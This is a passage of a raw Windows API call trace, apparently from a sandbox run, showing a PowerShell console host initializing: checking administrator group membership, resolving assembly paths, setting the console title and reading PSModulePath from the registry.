GetLastError () returned 0x7a [0145.741] CheckTokenMembership (in: TokenHandle=0x330, SidToCheck=0x2d587e4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x2be9b0 | out: IsMember=0x2be9b0) returned 1 [0145.741] GetLastError () returned 0x7a [0145.741] CloseHandle (hObject=0x330) returned 1 [0145.741] GetLastError () returned 0x7a [0145.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.741] GetLastError () returned 0x7a [0145.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be474, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.742] GetLastError () returned 0x7a [0145.742] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be474, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.742] GetLastError () returned 0x7a [0145.742] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be474, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.742] GetLastError () returned 0x7a [0145.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.836] GetLastError () returned 0x7a [0145.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be474, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.836] GetLastError () returned 0x7a [0145.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be474, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.836] GetLastError () returned 0x7a [0145.857] GetConsoleTitleW (in: lpConsoleTitle=0x6b5fb0, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0145.858] GetLastError () returned 0x7a [0145.909] GetConsoleTitleW (in: lpConsoleTitle=0x6b5fb0, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0145.910] GetLastError () returned 0x7a [0145.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.910] GetLastError () returned 0x7a [0145.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be46c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.910] GetLastError () returned 0x7a [0145.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be46c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.911] GetLastError () returned 0x7a [0145.922] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0145.926] GetLastError () returned 0x7a [0145.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.927] GetLastError () returned 0x7a [0145.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.927] GetLastError () returned 0x7a [0145.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.927] GetLastError () returned 0x7a [0145.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.927] GetLastError () returned 0x7a [0146.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.034] GetLastError () returned 0x7a [0146.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.035] GetLastError () returned 0x7a [0146.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.035] GetLastError () returned 0x7a [0146.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.035] GetLastError () returned 0x7a [0146.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.035] GetLastError () returned 0x7a [0146.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.035] GetLastError () returned 0x7a [0146.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be508, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.036] GetLastError () returned 0x7a [0146.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.036] GetLastError () returned 0x7a [0146.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.038] GetLastError () returned 0x7a [0146.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be4b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0146.038] GetLastError () returned 0x7a [0146.234] SetConsoleCtrlHandler (HandlerRoutine=0x2a8384a, Add=1) returned 1 [0146.234] GetLastError () returned 0x7a [0146.272] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.272] GetLastError () returned 0xcb [0146.297] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x330 [0146.297] GetLastError () returned 0x0 [0146.301] CoCreateGuid (in: pguid=0x2be9e8 | out: pguid=0x2be9e8*(Data1=0x4fffdffc, Data2=0xba6d, Data3=0x434b, Data4=([0]=0x85, [1]=0x30, [2]=0xb2, [3]=0xca, [4]=0x6b, [5]=0x71, [6]=0x88, [7]=0xdf))) returned 0x0 [0146.347] WinSqmIsOptedIn () returned 0x0 [0146.348] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.348] GetLastError () returned 0xcb [0146.354] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.354] GetLastError () returned 0xcb [0146.355] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.355] GetLastError () returned 0xcb [0146.357] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.357] GetLastError () returned 0xcb [0146.358] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.358] GetLastError () returned 0xcb [0146.361] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.361] GetLastError () returned 0xcb [0146.362] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.362] GetLastError () returned 0xcb [0146.363] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.363] GetLastError () returned 0xcb [0146.372] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.372] GetLastError () returned 0xcb [0146.410] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.410] GetLastError () returned 0xcb [0146.417] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.417] GetLastError () returned 0xcb [0146.418] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0146.418] GetLastError () returned 0xcb [0147.266] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.266] GetLastError () returned 0xcb [0147.266] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.266] GetLastError () returned 0xcb [0147.266] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.266] GetLastError () returned 0xcb [0147.267] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.267] GetLastError () returned 0xcb [0147.481] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.482] GetLastError () returned 0x3 [0147.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.482] GetLastError () returned 0x3 [0147.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.482] GetLastError () returned 0x3 [0147.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.482] GetLastError () returned 0x3 [0147.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.482] GetLastError () returned 0x3 [0147.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.483] GetLastError () returned 0x3 [0147.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.483] GetLastError () returned 0x3 [0147.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.483] GetLastError () returned 0x3 [0147.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.483] GetLastError () returned 0x3 [0147.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.484] GetLastError () returned 0x3 [0147.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.484] GetLastError () returned 0x3 [0147.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0147.484] GetLastError () returned 0x3 [0147.489] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0147.489] GetLastError () returned 0x3 [0147.509] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x67b350, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0147.509] GetLastError () returned 0x3 [0147.509] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be800 | out: phkResult=0x2be800*=0x33c) returned 0x0 [0147.510] RegQueryValueExW (in: hKey=0x33c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x2be844, lpData=0x0, lpcbData=0x2be840*=0x0 | out: lpType=0x2be844*=0x2, lpData=0x0, lpcbData=0x2be840*=0x6c) returned 0x0 [0147.513] RegQueryValueExW (in: hKey=0x33c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x2be844, lpData=0x67b350, lpcbData=0x2be840*=0x6c | out: lpType=0x2be844*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x2be840*=0x6c) returned 0x0 [0147.513] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x67b350, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0147.514] GetLastError () returned 0x3 [0147.514] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x67b350, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0147.514] GetLastError () returned 0x3 [0147.515] RegCloseKey (hKey=0x33c) returned 0x0 [0147.515] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x67b350, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0147.515] GetLastError () returned 0x3 [0147.516] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be800 | out: phkResult=0x2be800*=0x33c) returned 0x0 [0147.516] RegQueryValueExW (in: hKey=0x33c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x2be844, lpData=0x0, lpcbData=0x2be840*=0x0 | out: lpType=0x2be844*=0x0, lpData=0x0, lpcbData=0x2be840*=0x0) returned 0x2 [0147.517] RegCloseKey (hKey=0x33c) returned 0x0 [0147.545] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x67b350 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0147.551] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2be368, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0147.551] GetLastError () returned 0x3f0 [0147.554] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0147.555] GetLastError () returned 0x3f0 [0147.605] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be780 | out: phkResult=0x2be780*=0x344) returned 0x0 [0147.609] RegQueryValueExW (in: hKey=0x344, lpValueName="path", lpReserved=0x0, lpType=0x2be7e8, lpData=0x0, lpcbData=0x2be7e4*=0x0 | out: lpType=0x2be7e8*=0x1, lpData=0x0, lpcbData=0x2be7e4*=0x74) returned 0x0 [0147.610] RegQueryValueExW (in: hKey=0x344, lpValueName="path", lpReserved=0x0, lpType=0x2be7c8, lpData=0x0, lpcbData=0x2be7c4*=0x0 | out: lpType=0x2be7c8*=0x1, lpData=0x0, 